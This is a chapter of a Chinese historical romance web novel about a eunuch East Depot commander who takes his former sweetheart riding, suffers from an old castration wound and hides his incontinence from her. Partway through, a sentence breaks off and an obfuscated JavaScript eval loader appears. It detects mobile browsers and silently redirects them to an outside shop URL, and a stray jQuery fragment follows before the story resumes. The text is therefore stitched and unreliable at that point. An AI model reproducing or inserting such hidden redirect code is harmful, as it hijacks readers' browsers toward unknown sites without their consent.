霍玥只静静候在槅扇门外,待里间终于传来女子轻盈的脚步,沈清荷缓步越出紫檀木嵌蓝田玉屏风,落入他眼底的,便是一个清艳绝伦的身影。
明媚日光透过窗棂的碧纱洒进来,女子发间的碧玉珠钗在晨曦里闪动着温润光芒,更衬得她面容秀丽绝俗。微风拂过裙摆,银线绣成的莲纹宛若初绽的荷花,随着湖面漾开的涟漪轻轻摆动。
沈清荷望向他,微微垂首,轻启朱唇,颊边梨涡微现,摇曳生姿。
是他梦里的模样,亦是他记忆里的那个人。他的目光在她身上流连,全然移不开了。
“我如今,已不是碧玉少女,穿这身儿走出去,怕是会惹人笑话。”沈清荷抬眸,不经意与他对视,他眸光里的寒意已消散了,只温柔凝望着她。饶是如此,她仍下意识垂首,只淡淡道出这么一句,耳畔却是自己渐渐清晰的心跳声。
“在我眼里,你永远明丽动人,穿上这衣裙,戴上这珠钗,与当年别无二致。”霍玥不加思索道,眼角眉梢染上笑意,“何况,这世间无人敢笑话你。”说到这里,他不经意流露一抹自负。
他神色间的自信与坦然,令她没来由地感到几分心安。原来,他一直记着当年分别那日,她所穿所戴。而那日的他,也是穿着这么一身窄袖束腰的玄青色直裰。
沈清荷白皙面颊微微发烫,忽地觉着封闭沉寂已久的心,好似裂开了一道缺口。尚未开口,便闻他又道:“菡菡,这些年过去,骑术可还记得?”
做了四年宋家少夫人,日日安守内宅,孝敬婆母,也学着主理中馈,只这骑术的确是荒废了。每日困在那四方院宇内,何来策马奔驰的机会?
“平日甚少骑马,怕是荒废了。”她如实道。
“不打紧,去马场跑跑马吧,”霍玥莞尔一笑,仍是尘封岁月里的少年模样,“若是忘了,我再教你一次。”
霍府是上任东厂提督曹瑾留下的府邸,东院后方便是马场。沈清荷尚且犹豫,霍玥已行至她身畔,“试试吧。”
盛情难却,她终究没有拒绝,便在他引领下向马场行去。
“干爹这是闹的哪一出?”福宁黑白分明的眼眸转了转,心下是真的困惑了,“给沈娘子换上这么一身鲜亮飘逸的衣裙,竟是为了骑马?”
而春盈依旧紧紧跟随在沈清荷身后,闪烁的眸光却落在霍玥身上。她藏在衣袖里的手紧紧握着,指尖来回摩挲,不知何时,指缝间已然现出一枚银针般微小的暗器。
犹豫许久,她终究没有出手,因这府上看似人丁稀薄,实则处处遍布着东厂的暗哨,各个训练有素、武艺高强,这是她来到霍府不久便迅速摸清的。
不多久,二人便踱步至马场边。今日碧空如洗,万里无云,虽是晴好天气,深秋的风拂在脸上仍带着化不开的凉意。
霍玥止不住打了个冷颤,他这具身子分明畏寒,也并非不知晓天气寒凉,却还是穿着这身单薄的衫子。
“干爹,天气渐凉,我去把您的鹤氅拿来吧。”福宁见他面色苍白,便提议道。
“不必。”霍玥睨了他一眼,转而便示意府上武侍去牵马。府上侍从虽不多,各个却都有功夫傍身。
这年轻男子一身黑衣,身形挺拔,唤作“乔奇”,并非普通武侍,而是东厂番子,平日里常在东厂和北镇抚司跑动。因沈清荷来到霍府,霍玥便将他遣回府上,密切留意,确保沈清荷安然无恙。
乔奇便牵来一匹马,漆黑毛色在日光下闪烁着耀眼光泽,马身高大,体态匀称,步伐轻盈却有力。
当真是骏马,漂亮又矫健,沈清荷久居内宅,无波的眼眸里含上了期盼,已然跃跃欲试。
“这是汗血名驹,你先试着骑行片刻,若是不成,我便上来与你一道。”霍玥瞧出她期盼的眼眸里闪过一丝惶恐,便上前宽慰道。
“好。”沈清荷壮了壮胆,便试着翻身上马。想当年在太原卫所里,她一介自幼养在闺中的文秀少女,却对骑马萌生了兴致,那期盼又微微惶恐的眼神,与如今别无二致。
霍玥便又想起,当年那个仓皇失措间摔下马,却强忍疼痛缠着他继续的少女。待他翻身上马,在她身后引着她手把手教,很快她便上了道,能独自骑行好几个来回了。
沈清荷试着将身体前倾与马背贴得近些,而后轻轻抽动马鞭,马儿便驶开一段距离。便是许久未骑,身体也很快找回了从前的感觉。
兴致驱使下,她试着用力抽动马鞭,加快御马速度。到底是汗血名驹,身形高大,马儿疾驰开去,她身子难免失了平衡,开始左右剧烈摇晃。慌乱之下,她下意识望向身后的霍玥。
尚未待她开口,霍玥已然提步上前。沈清荷紧紧握住缰绳,就在她大半截身子晃到一旁摇摇欲坠时,身后便传来温热的触感和淡淡香气。
他已然跃至她身后,一手隔着衣袖紧紧握住她的手,用力拉住缰绳,另一手则扶住她肩背腰身将她身子拉回来。马儿高高扬起前蹄,随着一声嘶鸣,不消半刻便停了下来。
“玥哥。”沈清荷长吁一口气,适才虽凶险,眼下却并不后怕,只回眸望向他,见他面色惨白,剑眉微蹙,额角已然渗出细密冷汗。
“玥哥可是哪里难受?”她试着翻身下马,下意识隔着衣袖握住他手腕,就要扶他一道下来。昨日至今,她已然瞧出他身子似有旧伤,还有些畏寒。
“无妨……”他眉宇皱得更紧了些,下马后便微屈身体,弯下挺直的肩背,有些站立不稳。
“可是哪里受伤?”沈清荷瞧见他分明隐忍疼痛,焦急之下顾不得男女大防,便隔着衣袖,轻轻搀扶他去一旁歇息。多年未骑,实不该一时兴起,随他过来的,她暗暗有些自责。
“不曾……受伤,适才上马时腿上稍稍扭了一下。”他垂眸,掩饰着疼痛之下的慌乱,英俊眉目敛藏在阴影里,仿佛急于藏匿什么不堪。
她知他自幼习武,根骨绝佳,不会这般容易便扭伤腿。自责之下亦不再追问,便要与福宁一道搀扶他回房。
“沈娘子,督主无碍,这些年为护圣上难免落下旧伤,歇息片刻便好了。”福宁自是一眼瞧出霍玥何处难受,更瞧见了他冷峻神色下极力压制的羞惭与窘迫,便上前打起圆场来。
沈清荷轻轻扶住他胳臂,担忧之下亦有忐忑,与福宁一道搀着他缓步向上房行去。隔着衣料感受到他身体的紧绷,藏在衣袖里的手似也紧紧攥着,分明极力压制着疼痛。
“督主衣衫尚薄,不肯添衣,待在下为他更衣。”福宁眼神示意沈清荷回避,便阖上了房门。
沈清荷面露担忧,虽不便,却也不曾离去,只在上房门前的院子里来回踱步。
福宁搀扶着霍玥在床沿坐下,他的身体仍在颤抖,终究发出了一声如释重负的叹息。适才忧她摔下马,情急之下猛然跨上她身后的马鞍,净身留下的旧伤本就炎症未除,这下难免磕碰,剧痛侵袭,只觉头脑一片空白。
“您这身子,为何非要带着她骑马?”福宁不解道,同时伸手解去他外衫,“骑马就罢了,也不多穿点儿。”
为何呢?不过是心心念念之人失而复得,太想寻回旧时记忆,太想回到从前模样。
适才二人皆穿着那年分别之时的衣衫,他瞧见她清艳如昔,三两下翻身上马,便有了一切都不曾变过的错觉。
虚弱畏寒的身体、伤处传来的剧痛,却在不断提醒他,他早已是个残缺肮脏、难以自理的阉人。当真是可笑,可叹。
福宁轻轻解去他亵裤,果不其然,伤处比昨日愈发红肿些。待内侍德满端了温水入内,福宁便打湿了布巾再拧干,轻轻覆上去。
霍玥止不住轻哼一声,修长手指下意识攥紧了身旁的锦被。
“干爹,有没有好一点?”福宁见他紧蹙的眉头稍稍平复,便试探着问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17963885|214404||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道。
霍玥只阖着眼眸,抬手遮住半边脸颊,轻轻颔首。福宁便继续着手上的动作,试图缓解他的疼痛。
不想男人好不容易放松些许的身体蓦地又紧绷起来,他睁开眼眸,便自床上撑着起身,披上外衫便向里间净房疾步而去。身后徒留福宁一声无奈的叹息。
所幸赶在失控前入了净房。由于去势时临近成年,他这处只余一小部分,那物未能完整保留,若耽搁久了,便有些控制不住。
福宁候在净房门外,便闻里头传来了淅淅沥沥的水声。
待声音停歇,霍玥如释重负地谓叹,身上已然晕染开一层淋漓冷汗,他拿起布巾随意擦拭一番,免不了顺着身体迤逦的线条向下望去。
腰腹处是块块分明的肌肉,虽轻薄却有力,劲腰细窄,分明是男人苍劲的身体线条,只到了那里……
他无奈叹息一声,将衫子拢了拢,疾步出了净房。
“干爹,要不垫上吧……”福宁见他神色晦暗,仿佛失神一般,还是试探着开了口。
果不其然,回应他的便是男人凌厉如刀的目光。可有些话必须说清,为的是防止更不可控的局面出现。
“若是叫沈娘子瞧见端倪,可如何是好?”福宁又道。
男人冷冽的眸光里闪过一瞬的惶恐,“下回不再耽搁便是。”他无奈叹息,漆黑眸子一片死寂。他一直抗拒使用此物,因始终觉着,身体并未全然失去控制。
“这香味道太清淡,再合点别的香吧。”他望了望一旁的檀木香笼,里头熏着他的外衫和亵衣亵裤,便示意福宁道。
“是。”福宁自然知晓他担忧什么,这便应下。
不过是黄粱一梦,他却宁愿身在梦中,从未醒来。分明还是旧时衣衫,只衣衫下的躯体,早已不复当初,他所能做的,唯有不叫她发觉异样。
“玥哥……”沈清荷立于院内,并未离去,见福宁推门而出,便禁不住上前询问道,“霍督主他……如何了?”
“一点陈年旧伤,将养两日便无碍了。”福宁面上带笑,却回避着她关切的眼神。
沈清荷将信将疑,想推开门瞧瞧他如何,到底觉着不妥,停下了脚步。
霍玥斜斜倚靠在床头,知她在门外徘徊未曾离去,便穿好中单,披上黑色蟒袍,几番犹豫,终究薄唇轻启,“菡菡……进来坐。”
沈清荷推门而入,便见他英俊面容比适才更苍白些,“玥哥,福宁说你身有旧伤,眼下可好些了?”
“不妨事,”他嘴角漾起一抹浅浅弧度,不由自主贪恋着她的靠近,却又畏惧与她靠得太近,转而道,“我想听你抚琴一曲,眼下可还方便?”
“方便,自然方便。”沈清荷正欲回房取琴,霍玥已抢先吩咐春盈跑一趟,“这等事,吩咐下头的人去。”不过是,贪恋她的陪伴,哪怕只是须臾。
待春盈取来那把杉木古琴,沈清荷便在他床畔的案几前端坐下来,“玥哥想听哪首曲子?”
“随意,我不过一介行伍出身的粗人,不懂品鉴这等风雅之事,你弹什么,我都欢喜。”他淡然道,眉眼间却含着笑意。
“好。”沈清荷素手拨弄琴弦,便奏一曲高山流水。沈氏嫡女自幼才名远播,书画一绝,精通琴艺,京中无人不知无人不晓。
琴音发于弦间,响于琴身,后于屋内回响,清脆而婉转,悠扬却飘渺。霍玥只凝神细细聆听,享受着须臾平静,不时垂眸望向她,只觉她周身晕染着一层淡淡光晕,分明近在咫尺,却宛若隔着一层纱幕,触不可及。
若非那年沈清荷之母方夫人携一儿一女去往太原卫所省亲,她这位自幼长于京中的世家贵女,怕是这辈子也不会与他这等军户子弟产生交集。
他望着她,只觉她清逸如仙,宛若飘在云端。可为什么,仍不由自主地伸出触碰的手?分明恶名在外,身残肮脏,仍贪恋这须臾的美好。